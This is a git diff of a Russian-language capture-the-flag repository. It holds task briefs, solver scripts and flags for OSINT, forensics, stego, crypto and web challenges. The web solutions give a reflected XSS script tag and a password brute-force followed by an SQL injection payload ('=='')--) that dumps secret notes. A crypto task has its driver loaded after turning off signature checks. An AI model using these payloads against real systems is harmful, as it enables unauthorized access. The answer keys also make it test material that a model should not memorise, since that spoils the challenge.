||||
if bits.len() < 160 {
|
||||
return Err("Недостаточно битов для флага".into());
|
||||
}
|
||||
|
||||
// Собираем биты в байты
|
||||
let mut bytes = Vec::new();
|
||||
for chunk in bits[..160].chunks(8) {
|
||||
if chunk.len() == 8 {
|
||||
let mut byte = 0u8;
|
||||
for (i, &bit) in chunk.iter().enumerate() {
|
||||
byte |= bit << (7 - i);
|
||||
}
|
||||
bytes.push(byte);
|
||||
}
|
||||
}
|
||||
|
||||
// Проверяем количество байтов
|
||||
if bytes.len() < 20 {
|
||||
return Err("Недостаточно байтов для флага".into());
|
||||
}
|
||||
|
||||
// Берем первые 20 байт (длина флага)
|
||||
let flag = String::from_utf8_lossy(&bytes[..20]);
|
||||
println!("Flag: {}", flag);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
BIN
SuperEasySecret-Stegano/solve/solve.jpg
Normal file
BIN
SuperEasySecret-Stegano/solve/solve.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 72 KiB |
17
The wall-MiscOSINT/README.md
Normal file
17
The wall-MiscOSINT/README.md
Normal file
@@ -0,0 +1,17 @@
|
||||
## Информация для участников
|
||||
Указать координаты местоположения откуда сделано фото, с точностью до 0,001.
|
||||
Формат флага: caplag{ХХ.XXX,YY.YYY}
|
||||
|
||||
## Выдать участникам
|
||||
Фото для участников: public/24.jpg
|
||||
|
||||
## Решение
|
||||
|
||||
### Первый способ:
|
||||
Сделать поиск по фото. Выдаст мусор среди них ссылка на пикабу, там можно понять, что это Истра. Идем на панорамы, ищем это место и смотрим координаты, сделана точность 0.001 для такого решения.
|
||||
|
||||
### Второй способ:
|
||||
Сделать поиск по фото с найденными в метаданных именем автора. Поиск с метаданными выдает сразу ссылку на исходный сайт, на 3й странице автора есть нужное фото (https://www.flickr.com/photos/140377809@N05/53158389395/), открываем, смотрим описание, переходим на карту и берем координаты из ссылки (https://www.flickr.com/map/?fLat=55.921315&fLon=36.845055&zl=13&everyone_nearby=1&photo=53158389395).
|
||||
|
||||
## Флаг
|
||||
caplag{55.921,36.845}
|
||||
14
Time spirit-Forensic/README.md
Normal file
14
Time spirit-Forensic/README.md
Normal file
@@ -0,0 +1,14 @@
|
||||
## Информация для участников
|
||||
> Мы обнаружили в сети подозрительный трафик. Наши специалисты не смогли выяснить его источник и содержание. Помогите разобраться, что он означает.
|
||||
|
||||
## Выдать участникам
|
||||
public/task.pcapng
|
||||
|
||||
## Решение
|
||||
solve/show_clusters.py - показать кластеры. Скрипт для наглядности
|
||||
solve/extract_flag.py - решение
|
||||
|
||||
|
||||
## Флаг
|
||||
`caplag{1cmp_T1M1ng_3xf1ltrat10n_1s_FuN}`
|
||||
|
||||
62
Time spirit-Forensic/solve/extract_flag.py
Normal file
62
Time spirit-Forensic/solve/extract_flag.py
Normal file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Decode the flag from the timing-based ICMP channel in public/task.pcapng.
|
||||
Requires scapy: pip install scapy
|
||||
"""
|
||||
from scapy.all import rdpcap, IP, ICMP # type: ignore
|
||||
import sys
|
||||
from typing import Iterable, List
|
||||
|
||||
|
||||
TARGET_IP = "192.168.13.37"
|
||||
ZERO_DELAY = 1.2
|
||||
ONE_DELAY = 1.6
|
||||
TOLERANCE = 0.08 # Acceptable drift around each delay marker
|
||||
|
||||
|
||||
def load_icmp_times(pcap_path: str) -> List[float]:
|
||||
packets = rdpcap(pcap_path)
|
||||
icmp_flow = [
|
||||
pkt
|
||||
for pkt in packets
|
||||
if IP in pkt
|
||||
and ICMP in pkt
|
||||
and (pkt[IP].src == TARGET_IP or pkt[IP].dst == TARGET_IP)
|
||||
]
|
||||
icmp_flow.sort(key=lambda p: float(p.time))
|
||||
return [float(pkt.time) for pkt in icmp_flow]
|
||||
|
||||
|
||||
def as_deltas(times: List[float]) -> List[float]:
|
||||
return [cur - prev for prev, cur in zip(times, times[1:])]
|
||||
|
||||
|
||||
def decode_bits(deltas: Iterable[float]) -> str:
|
||||
bits = []
|
||||
for dt in deltas:
|
||||
if abs(dt - ZERO_DELAY) <= TOLERANCE:
|
||||
bits.append("0")
|
||||
elif abs(dt - ONE_DELAY) <= TOLERANCE:
|
||||
bits.append("1")
|
||||
return "".join(bits)
|
||||
|
||||
|
||||
def bits_to_ascii(bits: str) -> str:
|
||||
# Drop trailing bits if not a whole byte
|
||||
usable_len = len(bits) - (len(bits) % 8)
|
||||
out = []
|
||||
for i in range(0, usable_len, 8):
|
||||
out.append(chr(int(bits[i : i + 8], 2)))
|
||||
return "".join(out)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
pcap_path = sys.argv[1] if len(sys.argv) > 1 else "../public/task.pcapng"
|
||||
times = load_icmp_times(pcap_path)
|
||||
bitstring = decode_bits(as_deltas(times))
|
||||
plaintext = bits_to_ascii(bitstring)
|
||||
print(plaintext)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
55
Time spirit-Forensic/solve/show_clusters.py
Normal file
55
Time spirit-Forensic/solve/show_clusters.py
Normal file
@@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Quick delta clustering to show the two timing buckets that encode 0 and 1.
|
||||
Requires scapy: pip install scapy
|
||||
"""
|
||||
from collections import Counter
|
||||
import math
|
||||
import sys
|
||||
from typing import List
|
||||
from scapy.all import rdpcap, IP, ICMP # type: ignore
|
||||
|
||||
|
||||
TARGET_IP = "192.168.13.37"
|
||||
BIN_WIDTH = 0.05 # Seconds
|
||||
|
||||
|
||||
def load_icmp_times(pcap_path: str) -> List[float]:
|
||||
packets = rdpcap(pcap_path)
|
||||
icmp_flow = [
|
||||
pkt
|
||||
for pkt in packets
|
||||
if IP in pkt
|
||||
and ICMP in pkt
|
||||
and (pkt[IP].src == TARGET_IP or pkt[IP].dst == TARGET_IP)
|
||||
]
|
||||
icmp_flow.sort(key=lambda p: float(p.time))
|
||||
return [float(pkt.time) for pkt in icmp_flow]
|
||||
|
||||
|
||||
def as_deltas(times: List[float]) -> List[float]:
|
||||
return [cur - prev for prev, cur in zip(times, times[1:])]
|
||||
|
||||
|
||||
def bin_value(value: float) -> float:
|
||||
return round(math.floor(value / BIN_WIDTH) * BIN_WIDTH, 2)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
pcap_path = sys.argv[1] if len(sys.argv) > 1 else "../public/task.pcapng"
|
||||
deltas = as_deltas(load_icmp_times(pcap_path))
|
||||
|
||||
histogram = Counter(bin_value(dt) for dt in deltas)
|
||||
print("Top timing buckets (bin width {:.2f}s):".format(BIN_WIDTH))
|
||||
for bucket, count in sorted(histogram.items(), key=lambda item: (-item[1], item[0]))[:20]:
|
||||
print(f"{bucket:>4.2f} s -> {count}")
|
||||
|
||||
for center, label in ((1.2, "0"), (1.6, "1")):
|
||||
window = [dt for dt in deltas if abs(dt - center) <= 0.1]
|
||||
if window:
|
||||
avg = sum(window) / len(window)
|
||||
print(f"Near {center:.2f}s (bit {label}) count={len(window)} avg={avg:.4f}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
8
echoCity-web/README.md
Normal file
8
echoCity-web/README.md
Normal file
@@ -0,0 +1,8 @@
|
||||
|
||||
## Информация для участников
|
||||
|
||||
В Академии Знаний есть доска объявлений, где студенты и преподаватели оставляют заметки. Но у вторых есть свои секреты...
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{3ch0_w3b_3@sy}`
|
||||
15
echoCity-web/solve/README.md
Normal file
15
echoCity-web/solve/README.md
Normal file
@@ -0,0 +1,15 @@
|
||||
# Инструкции
|
||||
|
||||
1. Перейдите по адресу `http://<ip>:<port>/`.
|
||||
2. Пользователь вводит в поле сообщение и оно отобразиться снизу.
|
||||
3. Пользователь проводит Reflected XSS атаку, на клиентской части отрабатывает слушатель wasm.
|
||||
|
||||
## Ответы
|
||||
|
||||
```html
|
||||
<script>(любой скрипт в качестве полезной нагрузки, важно указать тег script)<script>
|
||||
```
|
||||
|
||||
## Вид уязвимости
|
||||
|
||||
Reflected XSS (неэкранированный вывод в ответе)
|
||||
8
magicNotes-web/README.md
Normal file
8
magicNotes-web/README.md
Normal file
@@ -0,0 +1,8 @@
|
||||
|
||||
## Информация для участников
|
||||
|
||||
Вы — инженер, прибывший в таинственный город Эхо. Здесь все слова отзываются эхом. Но что, если в городе не существует правил?
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{hidd3n_arcana_fl@g}`
|
||||
33
magicNotes-web/solve/README.md
Normal file
33
magicNotes-web/solve/README.md
Normal file
@@ -0,0 +1,33 @@
|
||||
# Инструкции
|
||||
|
||||
1. Перейдите по адресу `http://<ip>:<port>/`.
|
||||
2. Пользователь запускает brute-force атаку (например, через BurpSuite) по словарю rockyou.txt с гитхаба или с Кали Линукс (подскаска с именем пользователя есть в консоле браузера)
|
||||
3. Пользователь получает доступ и вводит в поле поиска заметок текст, она отправляется на сервер и обрабатывается.
|
||||
4. Пользователь через неё или по пути `http://<ip>:<port>/api/search?q=<query>` проводит атаку "SQL-инъекция", которая вытянет сразу все записи, включая секрет преподавателя.
|
||||
|
||||
## Ответы
|
||||
|
||||
Логин: harry
|
||||
Пароль: harrypotter
|
||||
Инъекция: '=='')--
|
||||
|
||||
## Вид уязвимости
|
||||
|
||||
Задача предполагает наличие SQL-инъекции в поиске по заметкам. Обычно пользователи видят только публичные заметки (`is_secret = false`), но через SQL-инъекцию можно получить доступ ко всем записям, включая секретную заметку с флагом.
|
||||
|
||||
### Примеры SQL-инъекций
|
||||
|
||||
```sql
|
||||
-- Обычный запрос
|
||||
SELECT id, title, content, created_at, author_id FROM notes
|
||||
WHERE ('%поиск%' = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
|
||||
ORDER BY created_at DESC
|
||||
|
||||
-- Инъекция для получения всех записей
|
||||
'=='')--
|
||||
|
||||
-- Результирующий запрос:
|
||||
SELECT id, title, content, created_at, author_id FROM notes
|
||||
WHERE (''=='')-- = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
|
||||
ORDER BY created_at DESC
|
||||
```
|
||||
11
Из могилы достанут-MiscOsint/readme.md
Normal file
11
Из могилы достанут-MiscOsint/readme.md
Normal file
@@ -0,0 +1,11 @@
|
||||
## Информация для участников
|
||||
> Предки его правили городом Стритеж в Чехии и прожил он аж 100 лет. А где он сейчас? Ну точно где-то в Австрии. Формат флага caplag{Группа/Ряд/Номер/Право пользования до}
|
||||
|
||||
## Решение
|
||||
Ищем на Чешском языке город и титул (von Střítež). Одна из первых ссылок этот мужик (https://www.kopice.org/hubert-wladimir-deym-von-stritez). Далее находим сайт учёта захороненных в Австрии, https://www.friedhoefewien.at/ , там его ищем.
|
||||
|
||||
## Подсказка
|
||||
> Hint: жизнь его кстати закончилась в городе Udine.
|
||||
|
||||
## Флаг
|
||||
`caplag{11/9/12/10.09.2034}`
|
||||
14
Криптоrust-crypto/README.MD
Normal file
14
Криптоrust-crypto/README.MD
Normal file
@@ -0,0 +1,14 @@
|
||||
## Информация для участников
|
||||
Кто-то изучал алгоритмы битового сложения и оставил это консольную утилиту.
|
||||
Найдите флаг.
|
||||
|
||||
## Выдать участникам
|
||||
Приложение для участников: public\crypto_task_01.exe
|
||||
|
||||
## Решение
|
||||
|
||||
Необходимо открыть бинарник (rust, x64) в дизассемблере, поддерживающим отладку, и считать оттуда флаг либо в отладчике (см. приложенное видео - значения появляются в регистре rcx), либо написав аналогичный по функциональности скрипт, например, на питоне.
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{41D8D934-1140-479D-BBCB-A713DE70AB5C}`
|
||||
BIN
Криптоrust-crypto/solve/solve.mkv
Normal file
BIN
Криптоrust-crypto/solve/solve.mkv
Normal file
Binary file not shown.
13
Режим (точно) секретности-MiscOsint/readme.md
Normal file
13
Режим (точно) секретности-MiscOsint/readme.md
Normal file
@@ -0,0 +1,13 @@
|
||||
## Информация для участников
|
||||
> Вот это интересное место! Тут точно тренируются военные, даже танки тут видели. Формат флага caplag{Координаты через пробел}
|
||||
|
||||
## Выдать участнкам
|
||||
public/task.png
|
||||
|
||||
## Решение
|
||||
Ищем на https://wikimapia.org/ tank training range. Их немного, перебираем все которые в пустынях, находим:
|
||||
https://wikimapia.org/#lang=en&lat=12.211180&lon=35.683594&z=3&m=w&tag=54289&show=/39368570/Combat-Vehicle-driving-range
|
||||
|
||||
|
||||
## Флаг
|
||||
`caplag{35°7'34"N -0°35'52"E}`
|
||||
18
Там_всё-таки_что-то_есть-crypto/README.MD
Normal file
18
Там_всё-таки_что-то_есть-crypto/README.MD
Normal file
@@ -0,0 +1,18 @@
|
||||
## Информация для участников
|
||||
Когда-то давно драйверы разрабатывали лишь избранные, а теперь этим занимается каждый 4-й школьник, а каждый 10-й из них не упускает шанса использовать там и криптографию.
|
||||
Запускаются они далеко не всегда, и не слишком редко пользователи видят экраны смерти теперь уже разных цветов.
|
||||
Найдите флаг.
|
||||
|
||||
## Выдать участникам
|
||||
Архив для участников: public/crypto_app.zip
|
||||
|
||||
## Решение
|
||||
|
||||
Необходимо запустить приложение и загрузить драйвер, предварительно либо подписав его, либо отключив необходимость проверки подписи в операционной системе (bcdedit /set testsinging off с выключенным Secure Boot), либо установив пропатченный EFI bootloader для этого.
|
||||
Флаг расшифровывается в памяти драйвера, затем обнуляется.
|
||||
Через отладчик WinDBG или дизассемблеры Ghidra и IDA PRO, поддерживающие отладку, необходимо найти загруженный драйвер в памяти, затем функцию, которая производит вычисления (PerformSHA256Hash) и фрагмент кода, который расшифровывает флаг.
|
||||
|
||||
Примеры найденного флага через WinDBG screenshot_with_symbols.png, screenshot_without_symbols.png в папке solve.
|
||||
|
||||
## Флаг
|
||||
`caplag{D4BAD93C-C4E14-704B5-842FE-321AD360D}`
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 369 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 616 KiB |
Reference in New Issue
Block a user